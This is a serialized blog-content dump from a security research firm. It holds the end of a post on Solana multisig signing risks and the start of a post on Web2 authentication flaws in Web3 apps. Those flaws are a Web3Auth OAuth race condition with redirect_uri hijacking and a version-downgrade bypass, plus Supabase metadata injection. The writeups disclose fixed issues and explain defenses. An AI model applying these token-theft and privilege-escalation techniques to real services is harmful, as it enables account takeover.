"style":1023},[72201],{"type":30,"value":72202}," message",{"type":24,"tag":930,"props":72204,"children":72205},{"style":1158},[72206],{"type":30,"value":38943},{"type":24,"tag":930,"props":72208,"children":72209},{"class":932,"line":993},[72210,72215,72219,72224,72228,72232,72236,72240,72244,72248,72252,72256,72261,72265,72269,72274,72278,72282,72286],{"type":24,"tag":930,"props":72211,"children":72212},{"style":943},[72213],{"type":30,"value":72214},"        Message",{"type":24,"tag":930,"props":72216,"children":72217},{"style":1158},[72218],{"type":30,"value":6597},{"type":24,"tag":930,"props":72220,"children":72221},{"style":1002},[72222],{"type":30,"value":72223},"new_with_nonce",{"type":24,"tag":930,"props":72225,"children":72226},{"style":959},[72227],{"type":30,"value":1010},{"type":24,"tag":930,"props":72229,"children":72230},{"style":1002},[72231],{"type":30,"value":6991},{"type":24,"tag":930,"props":72233,"children":72234},{"style":959},[72235],{"type":30,"value":6849},{"type":24,"tag":930,"props":72237,"children":72238},{"style":1023},[72239],{"type":30,"value":46769},{"type":24,"tag":930,"props":72241,"children":72242},{"style":959},[72243],{"type":30,"value":26162},{"type":24,"tag":930,"props":72245,"children":72246},{"style":943},[72247],{"type":30,"value":45108},{"type":24,"tag":930,"props":72249,"children":72250},{"style":959},[72251],{"type":30,"value":1010},{"type":24,"tag":930,"props":72253,"children":72254},{"style":1158},[72255],{"type":30,"value":6230},{"type":24,"tag":930,"props":72257,"children":72258},{"style":1023},[72259],{"type":30,"value":72260},"evil_nonce_authority",{"type":24,"tag":930,"props":72262,"children":72263},{"style":959},[72264],{"type":30,"value":3199},{"type":24,"tag":930,"props":72266,"children":72267},{"style":1158},[72268],{"type":30,"value":6230},{"type":24,"tag":930,"props":72270,"children":72271},{"style":1023},[72272],{"type":30,"value":72273},"nonce_account",{"type":24,"tag":930,"props":72275,"children":72276},{"style":959},[72277],{"type":30,"value":962},{"type":24,"tag":930,"props":72279,"children":72280},{"style":1158},[72281],{"type":30,"value":6230},{"type":24,"tag":930,"props":72283,"children":72284},{"style":1023},[72285],{"type":30,"value":72260},{"type":24,"tag":930,"props":72287,"children":72288},{"style":959},[72289],{"type":30,"value":1054},{"type":24,"tag":930,"props":72291,"children":72292},{"class":932,"line":1057},[72293,72297,72302],{"type":24,"tag":930,"props":72294,"children":72295},{"style":1158},[72296],{"type":30,"value":6288},{"type":24,"tag":930,"props":72298,"children":72299},{"style":1002},[72300],{"type":30,"value":72301},"serialize",{"type":24,"tag":930,"props":72303,"children":72304},{"style":959},[72305],{"type":30,"value":1310},{"type":24,"tag":33,"props":72307,"children":72308},{},[72309,72311,72318],{"type":30,"value":72310},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":24,"tag":37,"props":72312,"children":72315},{"href":72313,"rel":72314},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[41],[72316],{"type":30,"value":72317},"logs the fee-payer here",{"type":30,"value":436},{"type":24,"tag":920,"props":72320,"children":72322},{"className":19616,"code":72321,"language":6268,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n    return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[72323],{"type":24,"tag":156,"props":72324,"children":72325},{"__ignoreMap":7},[72326,72385,72441],{"type":24,"tag":930,"props":72327,"children":72328},{"class":932,"line":933},[72329,72333,72338,72342,72346,72351,72355,72360,72364,72368,72372,72376,72381],{"type":24,"tag":930,"props":72330,"children":72331},{"style":937},[72332],{"type":30,"value":32776},{"type":24,"tag":930,"props":72334,"children":72335},{"style":1002},[72336],{"type":30,"value":72337}," print_config_show_authority",{"type":24,"tag":930,"props":72339,"children":72340},{"style":959},[72341],{"type":30,"value":1010},{"type":24,"tag":930,"props":72343,"children":72344},{"style":937},[72345],{"type":30,"value":12762},{"type":24,"tag":930,"props":72347,"children":72348},{"style":959},[72349],{"type":30,"value":72350}," PrintConfig",{"type":24,"tag":930,"props":72352,"children":72353},{"style":1158},[72354],{"type":30,"value":1410},{"type":24,"tag":930,"props":72356,"children":72357},{"style":1023},[72358],{"type":30,"value":72359}," print_config",{"type":24,"tag":930,"props":72361,"children":72362},{"style":959},[72363],{"type":30,"value":962},{"type":24,"tag":930,"props":72365,"children":72366},{"style":937},[72367],{"type":30,"value":12762},{"type":24,"tag":930,"props":72369,"children":72370},{"style":959},[72371],{"type":30,"value":23959},{"type":24,"tag":930,"props":72373,"children":72374},{"style":1158},[72375],{"type":30,"value":1410},{"type":24,"tag":930,"props":72377,"children":72378},{"style":1023},[72379],{"type":30,"value":72380}," authority",{"type":24,"tag":930,"props":72382,"children":72383},{"style":959},[72384],{"type":30,"value":1503},{"type":24,"tag":930,"props":72386,"children":72387},{"class":932,"line":984},[72388,72392,72396,72400,72405,72409,72413,72418,72422,72427,72431,72436],{"type":24,"tag":930,"props":72389,"children":72390},{"style":1079},[72391],{"type":30,"value":20090},{"type":24,"tag":930,"props":72393,"children":72394},{"style":1023},[72395],{"type":30,"value":72359},{"type":24,"tag":930,"props":72397,"children":72398},{"style":959},[72399],{"type":30,"value":16864},{"type":24,"tag":930,"props":72401,"children":72402},{"style":1023},[72403],{"type":30,"value":72404},"expert_mode",{"type":24,"tag":930,"props":72406,"children":72407},{"style":1158},[72408],{"type":30,"value":1250},{"type":24,"tag":930,"props":72410,"children":72411},{"style":1158},[72412],{"type":30,"value":15971},{"type":24,"tag":930,"props":72414,"children":72415},{"style":1002},[72416],{"type":30,"value":72417},"pubkeys_equal",{"type":24,"tag":930,"props":72419,"children":72420},{"style":959},[72421],{"type":30,"value":1010},{"type":24,"tag":930,"props":72423,"children":72424},{"style":1023},[72425],{"type":30,"value":72426},"print_config",{"type":24,"tag":930,"props":72428,"children":72429},{"style":959},[72430],{"type":30,"value":16864},{"type":24,"tag":930,"props":72432,"children":72433},{"style":1023},[72434],{"type":30,"value":72435},"signer_pubkey",{"type":24,"tag":930,"props":72437,"children":72438},{"style":959},[72439],{"type":30,"value":72440},", authority);\n",{"type":24,"tag":930,"props":72442,"children":72443},{"class":932,"line":993},[72444],{"type":24,"tag":930,"props":72445,"children":72446},{"style":959},[72447],{"type":30,"value":2528},{"type":24,"tag":33,"props":72449,"children":72450},{},[72451],{"type":30,"value":72452},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":24,"tag":33,"props":72454,"children":72455},{},[72456],{"type":30,"value":72457},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":24,"tag":33,"props":72459,"children":72460},{},[72461],{"type":30,"value":72462},"We can then use the following procedure.",{"type":24,"tag":478,"props":72464,"children":72465},{},[72466,72471,72476,72481,72486],{"type":24,"tag":100,"props":72467,"children":72468},{},[72469],{"type":30,"value":72470},"Ensure all signers have no durable nonce accounts.",{"type":24,"tag":100,"props":72472,"children":72473},{},[72474],{"type":30,"value":72475},"The first signer signs and submits the transaction.",{"type":24,"tag":100,"props":72477,"children":72478},{},[72479],{"type":30,"value":72480},"Wait two minutes for all recent blockhashes to expire.",{"type":24,"tag":100,"props":72482,"children":72483},{},[72484],{"type":30,"value":72485},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":24,"tag":100,"props":72487,"children":72488},{},[72489],{"type":30,"value":72490},"Repeat steps 2 to 4 for each signer",{"type":24,"tag":68,"props":72492,"children":72494},{"id":72493},"beyond",[72495],{"type":30,"value":72496},"Beyond",{"type":24,"tag":33,"props":72498,"children":72499},{},[72500],{"type":30,"value":72501},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":24,"tag":33,"props":72503,"children":72504},{},[72505,72507,72514],{"type":30,"value":72506},"For example, pcaversaccio wrote a tool to ",{"type":24,"tag":37,"props":72508,"children":72511},{"href":72509,"rel":72510},"https://github.com/pcaversaccio/safe-tx-hashes-util",[41],[72512],{"type":30,"value":72513},"validate Safe transaction hashes",{"type":30,"value":72515},". As the space matures, we hope more open source tooling will come to light.",{"type":24,"tag":21523,"props":72517,"children":72519},{"className":72518,"dataFootnotes":7},[21526],[72520,72525],{"type":24,"tag":68,"props":72521,"children":72523},{"className":72522,"id":18584},[21531],[72524],{"type":30,"value":21534},{"type":24,"tag":478,"props":72526,"children":72527},{},[72528],{"type":24,"tag":100,"props":72529,"children":72530},{"id":33457},[72531,72533,72541,72543],{"type":30,"value":72532},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":24,"tag":37,"props":72534,"children":72538},{"href":72535,"rel":72536,":style":72537},"https://twitter.com/PierreArowana",[41],"color: #B1D0EE; text-decoration: underline;",[72539],{"type":30,"value":72540},"@PierreArowana",{"type":30,"value":72542}," for pointing this out to me. ",{"type":24,"tag":37,"props":72544,"children":72546},{"href":33485,"ariaLabel":21637,"className":72545,"dataFootnoteBackref":7},[21639],[72547],{"type":30,"value":21642},{"type":24,"tag":5957,"props":72549,"children":72550},{},[72551],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":72553},[72554,72558,72559,72560],{"id":70751,"depth":984,"text":70754,"children":72555},[72556,72557],{"id":70762,"depth":993,"text":70765},{"id":71041,"depth":993,"text":71044},{"id":71761,"depth":984,"text":71764},{"id":72493,"depth":984,"text":72496},{"id":18584,"depth":984,"text":21534},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":72565,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":72566,"description":72567,"date":72568,"author":72569,"image":72570,"isFeatured":16,"onBlogPage":16,"tags":72572,"body":72573,"_type":5983,"_id":74267,"_source":5985,"_file":74268,"_stem":74269,"_extension":5988},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[34293,34292],{"src":72571},"/posts/web2-in-web3/title.jpg",[35231],{"type":21,"children":72574,"toc":74249},[72575,72580,72585,72590,72616,72622,72627,72633,72654,72660,72665,72672,72685,72715,72721,72765,72772,72778,72811,72832,72840,72859,72866,72871,72877,72882,72887,72912,72917,72923,72929,72950,72956,72983,73011,73018,73023,73028,73373,73377,73399,73405,73426,73440,73453,73458,73474,73479,74204,74209,74214,74219,74231,74235,74240,74245],{"type":24,"tag":33,"props":72576,"children":72577},{},[72578],{"type":30,"value":72579},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":24,"tag":33,"props":72581,"children":72582},{},[72583],{"type":30,"value":72584},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":24,"tag":33,"props":72586,"children":72587},{},[72588],{"type":30,"value":72589},"In this article, we will discuss three cases we discovered:",{"type":24,"tag":478,"props":72591,"children":72592},{},[72593,72598,72611],{"type":24,"tag":100,"props":72594,"children":72595},{},[72596],{"type":30,"value":72597},"OAuth Logic Vulnerability on an Authentication Provider",{"type":24,"tag":100,"props":72599,"children":72600},{},[72601,72603,72609],{"type":30,"value":72602},"Supabase ",{"type":24,"tag":156,"props":72604,"children":72606},{"className":72605},[],[72607],{"type":30,"value":72608},"user_metadata",{"type":30,"value":72610}," misconfiguration",{"type":24,"tag":100,"props":72612,"children":72613},{},[72614],{"type":30,"value":72615},"OAuth abuse in localhost development environment",{"type":24,"tag":68,"props":72617,"children":72619},{"id":72618},"abusing-oauth-authentication-logic",[72620],{"type":30,"value":72621},"Abusing OAuth Authentication Logic",{"type":24,"tag":33,"props":72623,"children":72624},{},[72625],{"type":30,"value":72626},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":24,"tag":151,"props":72628,"children":72630},{"id":72629},"web3auth-introduction",[72631],{"type":30,"value":72632},"Web3Auth Introduction",{"type":24,"tag":33,"props":72634,"children":72635},{},[72636,72643,72645,72652],{"type":24,"tag":37,"props":72637,"children":72640},{"href":72638,"rel":72639},"https://web3auth.io/",[41],[72641],{"type":30,"value":72642},"Web3Auth",{"type":30,"value":72644}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":24,"tag":37,"props":72646,"children":72649},{"href":72647,"rel":72648},"https://oauth.net/2/",[41],[72650],{"type":30,"value":72651},"OAuth2",{"type":30,"value":72653}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":24,"tag":151,"props":72655,"children":72657},{"id":72656},"web3auth-authentication-flow",[72658],{"type":30,"value":72659},"Web3Auth Authentication flow",{"type":24,"tag":33,"props":72661,"children":72662},{},[72663],{"type":30,"value":72664},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":24,"tag":33,"props":72666,"children":72667},{},[72668],{"type":24,"tag":140,"props":72669,"children":72671},{"alt":142,"src":72670},"/posts/web2-in-web3/auth-flow.png",[],{"type":24,"tag":33,"props":72673,"children":72674},{},[72675,72677,72683],{"type":30,"value":72676},"After the final redirect back to the dApp,  the application can use the secret token to authenticate with the service identified by the ",{"type":24,"tag":156,"props":72678,"children":72680},{"className":72679},[],[72681],{"type":30,"value":72682},"client_id",{"type":30,"value":72684},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":24,"tag":33,"props":72686,"children":72687},{},[72688,72690,72696,72698,72704,72706,72713],{"type":30,"value":72689},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":24,"tag":156,"props":72691,"children":72693},{"className":72692},[],[72694],{"type":30,"value":72695},"/start",{"type":30,"value":72697}," validates the ",{"type":24,"tag":156,"props":72699,"children":72701},{"className":72700},[],[72702],{"type":30,"value":72703},"redirect_url",{"type":30,"value":72705}," against the configured ",{"type":24,"tag":37,"props":72707,"children":72710},{"href":72708,"rel":72709},"https://web3auth.io/docs/dashboard-setup/whitelisting",[41],[72711],{"type":30,"value":72712},"whitelist",{"type":30,"value":72714}," to ensure it matches one of the allowed URLs.",{"type":24,"tag":151,"props":72716,"children":72718},{"id":72717},"in-transit-cryptography",[72719],{"type":30,"value":72720},"In-transit Cryptography",{"type":24,"tag":33,"props":72722,"children":72723},{},[72724,72726,72733,72735,72741,72743,72749,72751,72756,72758,72763],{"type":30,"value":72725},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":24,"tag":37,"props":72727,"children":72730},{"href":72728,"rel":72729},"https://en.wikipedia.org/wiki/Key_(cryptography)",[41],[72731],{"type":30,"value":72732},"cryptographic key",{"type":30,"value":72734}," is derived from the ",{"type":24,"tag":156,"props":72736,"children":72738},{"className":72737},[],[72739],{"type":30,"value":72740},"sessionId",{"type":30,"value":72742},"  sent in the ",{"type":24,"tag":156,"props":72744,"children":72746},{"className":72745},[],[72747],{"type":30,"value":72748},"GET",{"type":30,"value":72750}," parameter to the ",{"type":24,"tag":156,"props":72752,"children":72754},{"className":72753},[],[72755],{"type":30,"value":72695},{"type":30,"value":72757},". Since the ",{"type":24,"tag":156,"props":72759,"children":72761},{"className":72760},[],[72762],{"type":30,"value":72740},{"type":30,"value":72764}," can be controlled, it allows us to send and receive data from the session server.",{"type":24,"tag":33,"props":72766,"children":72767},{},[72768],{"type":24,"tag":140,"props":72769,"children":72771},{"alt":142,"src":72770},"/posts/web2-in-web3/image-2.png",[],{"type":24,"tag":151,"props":72773,"children":72775},{"id":72774},"race-condition",[72776],{"type":30,"value":72777},"Race Condition",{"type":24,"tag":33,"props":72779,"children":72780},{},[72781,72783,72788,72790,72796,72798,72803,72805,72810],{"type":30,"value":72782},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":24,"tag":156,"props":72784,"children":72786},{"className":72785},[],[72787],{"type":30,"value":72695},{"type":30,"value":72789}," and later used in the ",{"type":24,"tag":156,"props":72791,"children":72793},{"className":72792},[],[72794],{"type":30,"value":72795},"/end",{"type":30,"value":72797}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after  validation (",{"type":24,"tag":156,"props":72799,"children":72801},{"className":72800},[],[72802],{"type":30,"value":72695},{"type":30,"value":72804},") but before  use (",{"type":24,"tag":156,"props":72806,"children":72808},{"className":72807},[],[72809],{"type":30,"value":72795},{"type":30,"value":2716},{"type":24,"tag":33,"props":72812,"children":72813},{},[72814,72816,72823,72825,72830],{"type":30,"value":72815},"To exploit this ",{"type":24,"tag":37,"props":72817,"children":72820},{"href":72818,"rel":72819},"https://portswigger.net/web-security/race-conditions",[41],[72821],{"type":30,"value":72822},"race condition",{"type":30,"value":72824},",  an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":24,"tag":156,"props":72826,"children":72828},{"className":72827},[],[72829],{"type":30,"value":72740},{"type":30,"value":72831}," but with modified malicious parameters.",{"type":24,"tag":33,"props":72833,"children":72834},{},[72835],{"type":24,"tag":275,"props":72836,"children":72837},{},[72838],{"type":30,"value":72839},"What can be modified to achieve something impactful?",{"type":24,"tag":33,"props":72841,"children":72842},{},[72843,72845,72851,72853,72858],{"type":30,"value":72844},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":24,"tag":156,"props":72846,"children":72848},{"className":72847},[],[72849],{"type":30,"value":72850},"redirect_uri",{"type":30,"value":72852}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":24,"tag":156,"props":72854,"children":72856},{"className":72855},[],[72857],{"type":30,"value":72682},{"type":30,"value":436},{"type":24,"tag":33,"props":72860,"children":72861},{},[72862],{"type":24,"tag":140,"props":72863,"children":72865},{"alt":142,"src":72864},"/posts/web2-in-web3/image-3.png",[],{"type":24,"tag":33,"props":72867,"children":72868},{},[72869],{"type":30,"value":72870},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":24,"tag":151,"props":72872,"children":72874},{"id":72873},"patch-bypass",[72875],{"type":30,"value":72876},"Patch & Bypass",{"type":24,"tag":33,"props":72878,"children":72879},{},[72880],{"type":30,"value":72881},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":24,"tag":33,"props":72883,"children":72884},{},[72885],{"type":30,"value":72886},"To bypass the fix we were able to change the version in the URL:",{"type":24,"tag":96,"props":72888,"children":72889},{},[72890,72901],{"type":24,"tag":100,"props":72891,"children":72892},{},[72893,72899],{"type":24,"tag":156,"props":72894,"children":72896},{"className":72895},[],[72897],{"type":30,"value":72898},"https://auth.web3auth.io/v8/start",{"type":30,"value":72900}," (latest version)",{"type":24,"tag":100,"props":72902,"children":72903},{},[72904,72910],{"type":24,"tag":156,"props":72905,"children":72907},{"className":72906},[],[72908],{"type":30,"value":72909},"https://auth.web3auth.io/v6/start",{"type":30,"value":72911}," (bypass)",{"type":24,"tag":33,"props":72913,"children":72914},{},[72915],{"type":30,"value":72916},"We reported this issue, and it was addressed just as quickly!",{"type":24,"tag":68,"props":72918,"children":72920},{"id":72919},"supabase-metadata-manipulation",[72921],{"type":30,"value":72922},"Supabase metadata manipulation",{"type":24,"tag":151,"props":72924,"children":72926},{"id":72925},"supabase-authentication-flow",[72927],{"type":30,"value":72928},"Supabase Authentication flow",{"type":24,"tag":33,"props":72930,"children":72931},{},[72932,72939,72941,72948],{"type":24,"tag":37,"props":72933,"children":72936},{"href":72934,"rel":72935},"https://supabase.com/docs/guides/auth",[41],[72937],{"type":30,"value":72938},"Supabase",{"type":30,"value":72940}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":24,"tag":37,"props":72942,"children":72945},{"href":72943,"rel":72944},"https://jwt.io/",[41],[72946],{"type":30,"value":72947},"JWT",{"type":30,"value":72949}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":24,"tag":151,"props":72951,"children":72953},{"id":72952},"jwt-verification",[72954],{"type":30,"value":72955},"JWT verification",{"type":24,"tag":33,"props":72957,"children":72958},{},[72959,72961,72966,72967,72973,72975,72981],{"type":30,"value":72960},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":24,"tag":156,"props":72962,"children":72964},{"className":72963},[],[72965],{"type":30,"value":72608},{"type":30,"value":211},{"type":24,"tag":156,"props":72968,"children":72970},{"className":72969},[],[72971],{"type":30,"value":72972},"identity_data",{"type":30,"value":72974},", in a signup request by manipulating the input inside the ",{"type":24,"tag":156,"props":72976,"children":72978},{"className":72977},[],[72979],{"type":30,"value":72980},"\"data\": {}",{"type":30,"value":72982}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":24,"tag":33,"props":72984,"children":72985},{},[72986,72988,72994,72995,73001,73003,73009],{"type":30,"value":72987},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":24,"tag":156,"props":72989,"children":72991},{"className":72990},[],[72992],{"type":30,"value":72993},"\"role\": \"admin\"",{"type":30,"value":16241},{"type":24,"tag":156,"props":72996,"children":72998},{"className":72997},[],[72999],{"type":30,"value":73000},"\"email_verified\": true",{"type":30,"value":73002},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":24,"tag":156,"props":73004,"children":73006},{"className":73005},[],[73007],{"type":30,"value":73008},"\"test\": \"test\"",{"type":30,"value":73010},", enabling us to inject arbitrary data into the final JWT token.",{"type":24,"tag":33,"props":73012,"children":73013},{},[73014],{"type":24,"tag":140,"props":73015,"children":73017},{"alt":142,"src":73016},"/posts/web2-in-web3/image-4.png",[],{"type":24,"tag":33,"props":73019,"children":73020},{},[73021],{"type":30,"value":73022},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":24,"tag":33,"props":73024,"children":73025},{},[73026],{"type":30,"value":73027},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":24,"tag":920,"props":73029,"children":73031},{"className":34455,"code":73030,"language":34457,"meta":7,"style":7},"function parseSupaBase(token) {\n    try {\n        const [header, payload, signature] = token.split('.');\n        const decodedHeader = JSON.parse(atob(header));\n        const decodedPayload = JSON.parse(atob(payload));\n        return { header: decodedHeader, payload: decodedPayload, signature };\n    } catch (error) {\n        console.error('Error parsing token:', error);\n        return null;\n    }\n}\n",[73032],{"type":24,"tag":156,"props":73033,"children":73034},{"__ignoreMap":7},[73035,73060,73072,73141,73190,73238,73283,73306,73343,73359,73366],{"type":24,"tag":930,"props":73036,"children":73037},{"class":932,"line":933},[73038,73042,73047,73051,73056],{"type":24,"tag":930,"props":73039,"children":73040},{"style":937},[73041],{"type":30,"value":34469},{"type":24,"tag":930,"props":73043,"children":73044},{"style":1002},[73045],{"type":30,"value":73046}," parseSupaBase",{"type":24,"tag":930,"props":73048,"children":73049},{"style":959},[73050],{"type":30,"value":1010},{"type":24,"tag":930,"props":73052,"children":73053},{"style":1023},[73054],{"type":30,"value":73055},"token",{"type":24,"tag":930,"props":73057,"children":73058},{"style":959},[73059],{"type":30,"value":1503},{"type":24,"tag":930,"props":73061,"children":73062},{"class":932,"line":984},[73063,73068],{"type":24,"tag":930,"props":73064,"children":73065},{"style":1079},[73066],{"type":30,"value":73067},"    try",{"type":24,"tag":930,"props":73069,"children":73070},{"style":959},[73071],{"type":30,"value":981},{"type":24,"tag":930,"props":73073,"children":73074},{"class":932,"line":993},[73075,73079,73083,73088,73092,73097,73101,73106,73110,73114,73119,73123,73128,73132,73137],{"type":24,"tag":930,"props":73076,"children":73077},{"style":937},[73078],{"type":30,"value":35989},{"type":24,"tag":930,"props":73080,"children":73081},{"style":959},[73082],{"type":30,"value":26134},{"type":24,"tag":930,"props":73084,"children":73085},{"style":1023},[73086],{"type":30,"value":73087},"header",{"type":24,"tag":930,"props":73089,"children":73090},{"style":959},[73091],{"type":30,"value":962},{"type":24,"tag":930,"props":73093,"children":73094},{"style":1023},[73095],{"type":30,"value":73096},"payload",{"type":24,"tag":930,"props":73098,"children":73099},{"style":959},[73100],{"type":30,"value":962},{"type":24,"tag":930,"props":73102,"children":73103},{"style":1023},[73104],{"type":30,"value":73105},"signature",{"type":24,"tag":930,"props":73107,"children":73108},{"style":959},[73109],{"type":30,"value":11770},{"type":24,"tag":930,"props":73111,"children":73112},{"style":1158},[73113],{"type":30,"value":1161},{"type":24,"tag":930,"props":73115,"children":73116},{"style":1023},[73117],{"type":30,"value":73118}," token",{"type":24,"tag":930,"props":73120,"children":73121},{"style":959},[73122],{"type":30,"value":436},{"type":24,"tag":930,"props":73124,"children":73125},{"style":1002},[73126],{"type":30,"value":73127},"split",{"type":24,"tag":930,"props":73129,"children":73130},{"style":959},[73131],{"type":30,"value":1010},{"type":24,"tag":930,"props":73133,"children":73134},{"style":1270},[73135],{"type":30,"value":73136},"'.'",{"type":24,"tag":930,"props":73138,"children":73139},{"style":959},[73140],{"type":30,"value":1278},{"type":24,"tag":930,"props":73142,"children":73143},{"class":932,"line":1057},[73144,73148,73153,73157,73161,73165,73169,73173,73178,73182,73186],{"type":24,"tag":930,"props":73145,"children":73146},{"style":937},[73147],{"type":30,"value":35989},{"type":24,"tag":930,"props":73149,"children":73150},{"style":1023},[73151],{"type":30,"value":73152}," decodedHeader",{"type":24,"tag":930,"props":73154,"children":73155},{"style":1158},[73156],{"type":30,"value":6137},{"type":24,"tag":930,"props":73158,"children":73159},{"style":1023},[73160],{"type":30,"value":40616},{"type":24,"tag":930,"props":73162,"children":73163},{"style":959},[73164],{"type":30,"value":436},{"type":24,"tag":930,"props":73166,"children":73167},{"style":1002},[73168],{"type":30,"value":42299},{"type":24,"tag":930,"props":73170,"children":73171},{"style":959},[73172],{"type":30,"value":1010},{"type":24,"tag":930,"props":73174,"children":73175},{"style":1002},[73176],{"type":30,"value":73177},"atob",{"type":24,"tag":930,"props":73179,"children":73180},{"style":959},[73181],{"type":30,"value":1010},{"type":24,"tag":930,"props":73183,"children":73184},{"style":1023},[73185],{"type":30,"value":73087},{"type":24,"tag":930,"props":73187,"children":73188},{"style":959},[73189],{"type":30,"value":2058},{"type":24,"tag":930,"props":73191,"children":73192},{"class":932,"line":1066},[73193,73197,73202,73206,73210,73214,73218,73222,73226,73230,73234],{"type":24,"tag":930,"props":73194,"children":73195},{"style":937},[73196],{"type":30,"value":35989},{"type":24,"tag":930,"props":73198,"children":73199},{"style":1023},[73200],{"type":30,"value":73201}," decodedPayload",{"type":24,"tag":930,"props":73203,"children":73204},{"style":1158},[73205],{"type":30,"value":6137},{"type":24,"tag":930,"props":73207,"children":73208},{"style":1023},[73209],{"type":30,"value":40616},{"type":24,"tag":930,"props":73211,"children":73212},{"style":959},[73213],{"type":30,"value":436},{"type":24,"tag":930,"props":73215,"children":73216},{"style":1002},[73217],{"type":30,"value":42299},{"type":24,"tag":930,"props":73219,"children":73220},{"style":959},[73221],{"type":30,"value":1010},{"type":24,"tag":930,"props":73223,"children":73224},{"style":1002},[73225],{"type":30,"value":73177},{"type":24,"tag":930,"props":73227,"children":73228},{"style":959},[73229],{"type":30,"value":1010},{"type":24,"tag":930,"props":73231,"children":73232},{"style":1023},[73233],{"type":30,"value":73096},{"type":24,"tag":930,"props":73235,"children":73236},{"style":959},[73237],{"type":30,"value":2058},{"type":24,"tag":930,"props":73239,"children":73240},{"class":932,"line":1075},[73241,73245,73249,73254,73258,73262,73267,73271,73275,73279],{"type":24,"tag":930,"props":73242,"children":73243},{"style":1079},[73244],{"type":30,"value":18847},{"type":24,"tag":930,"props":73246,"children":73247},{"style":959},[73248],{"type":30,"value":12694},{"type":24,"tag":930,"props":73250,"children":73251},{"style":1023},[73252],{"type":30,"value":73253},"header:",{"type":24,"tag":930,"props":73255,"children":73256},{"style":1023},[73257],{"type":30,"value":73152},{"type":24,"tag":930,"props":73259,"children":73260},{"style":959},[73261],{"type":30,"value":962},{"type":24,"tag":930,"props":73263,"children":73264},{"style":1023},[73265],{"type":30,"value":73266},"payload:",{"type":24,"tag":930,"props":73268,"children":73269},{"style":1023},[73270],{"type":30,"value":73201},{"type":24,"tag":930,"props":73272,"children":73273},{"style":959},[73274],{"type":30,"value":962},{"type":24,"tag":930,"props":73276,"children":73277},{"style":1023},[73278],{"type":30,"value":73105},{"type":24,"tag":930,"props":73280,"children":73281},{"style":959},[73282],{"type":30,"value":21401},{"type":24,"tag":930,"props":73284,"children":73285},{"class":932,"line":1122},[73286,73290,73294,73298,73302],{"type":24,"tag":930,"props":73287,"children":73288},{"style":959},[73289],{"type":30,"value":18882},{"type":24,"tag":930,"props":73291,"children":73292},{"style":1079},[73293],{"type":30,"value":4760},{"type":24,"tag":930,"props":73295,"children":73296},{"style":959},[73297],{"type":30,"value":1087},{"type":24,"tag":930,"props":73299,"children":73300},{"style":1023},[73301],{"type":30,"value":17967},{"type":24,"tag":930,"props":73303,"children":